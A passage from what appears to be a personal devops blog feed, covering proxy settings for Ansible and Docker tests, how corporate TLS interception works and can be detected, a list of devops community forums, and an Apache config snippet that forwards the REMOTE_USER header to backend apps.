<span class="na">roles</span><span class="pi">:</span>
<span class="pi">-</span> <span class="na">role</span><span class="pi">:</span> <span class="s">yo</span>
<span class="na">environment</span><span class="pi">:</span>
<span class="na">http_proxy</span><span class="pi">:</span> <span class="s2">"</span><span class="s">{{</span><span class="nv"> </span><span class="s">lookup('env',</span><span class="nv"> </span><span class="s">'http_proxy')</span><span class="nv"> </span><span class="s">}}"</span>
<span class="na">https_proxy</span><span class="pi">:</span> <span class="s2">"</span><span class="s">{{</span><span class="nv"> </span><span class="s">lookup('env',</span><span class="nv"> </span><span class="s">'https_proxy')</span><span class="nv"> </span><span class="s">}}"</span>
<span class="na">no_proxy</span><span class="pi">:</span> <span class="s2">"</span><span class="s">{{</span><span class="nv"> </span><span class="s">lookup('env',</span><span class="nv"> </span><span class="s">'no_proxy')</span><span class="nv"> </span><span class="s">}}"</span>
</code></pre></div></div>
<p>Every call to the <code class="highlighter-rouge">yum</code> or <code class="highlighter-rouge">get_url</code> modules will have those environment
variables set and go through the proxy instead of straight out to the Internet.</p>
<h2 id="its-not-so-bad">It’s not so bad</h2>
<p>While I don’t really like to have to commit the <code class="highlighter-rouge">Dockerfile</code> template and the
modified test playbook to my repo, it’s a drawback I can live with. All the other goals have been met.</p>
<p>I tested it with and without proxy, it works the same. It gets all the values
from my environment, no hardcoding anything. I didn’t modify the playbook
under test to accomodate for my proxy settings.</p>
<p>So it’s a good all around solution in my book. Hope it will help some of you
locked behind a corporate proxy.</p>Renaud MartinetIf you have ever worked with so-called devops tools (Docker, CAPS and friends) behind a corporate proxy, you know that’s not their main use case. Althought it’s getting better, usually proxy support feels like an afterthought and documentation is lacking.TLS Interception Side Effects2017-12-28T00:00:00+00:002017-12-28T00:00:00+00:00https://renaudmarti.net/posts/tls-interception-side-effects<p>I ran into a tricky problem the other day at $WORK and thought it would be a good idea to share it here, if at least to make a note of it for later.</p>
<p>We had some devices on a client’s network that wouldn’t connect back to our servers anymore. As always in this case, nobody changed anything but it stopped working nonetheless.<br />
Anyway, looking at our logs I noticed some weird HTTP 408 errors. First time I saw that so I went looking for an explanation on the Internets. Turns out it indicates that a client initiated a TCP connection to the server but didn’t send HTTP traffic before the server timeout kicked in.<br />
On Apache, this timeout is set by default to 20s. I captured some traffic with <code class="highlighter-rouge">tcpdump</code> to check what was happening. Indeed the server was closing the TCP connection after 20s.<br />
Now I should point out that our devices connect over HTTPS. I got the logs from one of those devices. They showed the connection failed because the device couldn’t negociate the TLS session. There was a server certificate error. Weird because we make sure to embed our TLS certs in the devices themselves.</p>
<p>After showing the customer we were clean, he started to investigate as well.<br />
He came back to us explaining that our devices didn’t support his SSL inspection equipment. He had to exclude our devices traffic from it. They were now getting back online.</p>
<p>I knew SSL inspection (or TLS interception) was a thing but never bothered to research how it’s actually working.
So now that I have, here is a quick explanation.</p>
<p>Our customer had to deploy a TLS certificate to every devices he wanted to inspect the traffic of. That TLS certificate has been generated by his SSL inspection equipment. It enables it to perform what is basically a man-in-the-middle attack on all corporate TLS traffic.</p>
<p>From the workstations with the extra certificate, the TLS negociation went like this:</p>
<p><img src="/media/2017-12-28-msc-tls-negociation-ok.png" alt="2017-12-28-msc-tls-negociation-ok.png" /></p>
<p>But from our devices, here is where it went south:</p>
<p><img src="/media/2017-12-28-msc-tls-negociation-ko.png" alt="2017-12-28-msc-tls-negociation-ko.png" /></p>
<p>In this case the device can’t validate the proxy certificate because it doesn’t trust it.</p>
<p>So that’s how it works. Fairly simple. In fact, so simple that it was an eye opener for me.<br />
Whether it’s an extra CA certificate pushed to your browser by your IT or maliciously added to a browser CA bundle, there are different ways to perform TLS interception. And <del>victims</del> users are not always aware of that.
The good news is that there are also ways to detect it.</p>
<p>From the client side:</p>
<ul>
<li>You can check the name of the CA that issued the certificate. You would need to know if it changed though.</li>
<li>You can <a href="https://www.grc.com/fingerprints.htm">check some well known TLS certificate fingerprints (tool)</a>. That principle would also work if the attacker managed to get a CA to issue a certificate for the domain you’re visiting. Your browser would think it’s valid but the fingerprint would be different.</li>
</ul>
<p>Web servers can also detect it by <a href="https://jhalderm.com/pub/papers/interception-ndss17.pdf">comparing User-Agent headers and the way the client performs TLS negocation (paper)</a>.</p>
<p>I have mixed feelings about this topic though.<br />
On one hand, as we see unencrypted communications slowly disappear from the Internet, there are some legitimate use cases for being able to inspect TLS sessions. Malware detection being one.<br />
On the other hand, I still feel this is an attack on privacy and we at least need to make it more obvious when TLS interception is happening.<br />
This has to be built into web browsers like certificate validation aka “green lock” is now. It would make people aware that their traffic could be intercepted. Then they could decide whether the network they’re on is secure enough for their communications.</p>Renaud MartinetI ran into a tricky problem the other day at $WORK and thought it would be a good idea to share it here, if at least to make a note of it for later.Any DevOps forums or community sites out there?2017-03-28T00:00:00+00:002017-03-28T00:00:00+00:00https://renaudmarti.net/posts/devops-forums-and-community-sites<p>New to this whole devops thing? There are a lot of community resources out there where
people interact and that you can learn from.
Here is a list of some of them.</p>
<p>Devops forums:</p>
<ul>
<li><a href="https://www.reddit.com/r/devops/">Devops sub-reddit</a></li>
<li><a href="https://community.spiceworks.com/devops/general">General devops forum at Spiceworks</a></li>
<li><a href="http://discuss.devopsio.com/">DevopsIO</a></li>
</ul>
<p>Less specialized forums:</p>
<ul>
<li><a href="https://community.rackspace.com/developers/f/7">Rackspace</a></li>
<li><a href="https://news.ycombinator.com/">Hacker News</a></li>
</ul>
<p>LinkedIn communities:</p>
<ul>
<li><a href="https://www.linkedin.com/groups/2825397">DevOps</a></li>
<li><a href="https://www.linkedin.com/groups/6585254">Devops Discussions</a></li>
</ul>
<p>Q&A sites:</p>
<ul>
<li><a href="http://stackoverflow.com/questions/tagged/devops">StackOverflow</a></li>
<li><a href="https://www.quora.com/topic/DevOps">Quora</a></li>
</ul>
<p>Chat:</p>
<ul>
<li><a href="https://signup.hangops.com/">Hangops</a></li>
<li><a href="https://devopschat.co/">DevOpsChat</a></li>
</ul>
<p>These are all general devops resources and a lot more information can be found
in tool specific forums such as <a href="https://groups.google.com/forum/#!forum/ansible-project">Ansible Google Groups</a> for example.</p>Renaud MartinetNew to this whole devops thing? There are a lot of community resources out there where people interact and that you can learn from. Here is a list of some of them.Make Apache proxy the REMOTE_USER header. And why.2017-01-31T00:00:00+00:002017-01-31T00:00:00+00:00https://renaudmarti.net/posts/make-apache-proxy-remote-user-to-backend<p>The other day one of my colleague was trying to integrate a new application behind a simple authentication proxy: Apache + mod_authnz_sspi + mod_proxy_http, and it just wasn’t working. The proxified app wasn’t getting the <code class="highlighter-rouge">REMOTE_USER</code> header with the ID of the authentified user. The weird thing is that another app proxified with mod_proxy_ajp was getting it! We knew that something was up with our Apache conf. I remembered working on something similar before and went to dig up some old Apache conf to help him out.
So here it is:</p>
<figure class="highlight"><pre><code class="language-apache" data-lang="apache"> <span class="nc">RewriteEngine</span> <span class="ss">on</span>
<span class="nc">RewriteCond</span> %{REMOTE_USER} (.*)
<span class="nc">RewriteRule</span> .* - [E=X_REMOTE_USER:%1]
<span class="nc">RequestHeader</span> <span class="ss">set</span> REMOTE_USER %{X_REMOTE_USER}e</code></pre></figure>
<p>That snippet just needs to be added to the vhost, location or wherever you are authenticating your users, and BAM! your app now gets the <code class="highlighter-rouge">REMOTE_USER</code> header like it should. Note that it requires both mod_rewrite and mod_headers to be loaded though.</p>
<h2 id="but-why-should-i-need-to-do-that">But why should I need to do that?!</h2>
<p>It’s exactly what I thought when I first encountered this bit of rewrite conf… I mean if you look at it, it looks kind of ridiculous. Should the header not be set by Apache already?!
Well, it happens that Apache will only set what it calls an <strong>environment variable</strong> when it is done authenticating the user. And those kind of variables (<a href="https://httpd.apache.org/docs/current/en/expr.html#vars">here is the list</a>) are only available during the request processing. After that, it’s gone. Unless you instruct Apache to set a header with the value of the said variable so it is forwarded to the backend app. That’s what the above conf is doing.
The fact that mod_proxy_ajp does forwards <code class="highlighter-rouge">REMOTE_USER</code> is totally misleading. The <a href="https://httpd.apache.org/docs/2.4/en/mod/mod_proxy_ajp.html#env">docs</a> clearly state that it will forward every environment variable prefixed with <code class="highlighter-rouge">AJP_</code> as an AJP request attribute. I do not know where it finds a <code class="highlighter-rouge">AJP_REMOTE_USER</code> environment variable though, but it would explain why our backend Tomcat server was initially getting <code class="highlighter-rouge">REMOTE_USER</code> through AJP but not HTTP.</p>Renaud MartinetThe other day one of my colleague was trying to integrate a new application behind a simple authentication proxy: Apache + mod_authnz_sspi + mod_proxy_http, and it just wasn’t working. The proxified app wasn’t getting the REMOTE_USER header with the ID of the authentified user. The weird thing is that another app proxified with mod_proxy_ajp was getting it! We knew that something was up with our Apache conf. I remembered working on something similar before and went to dig up some old Apache conf to help him out. So here it is: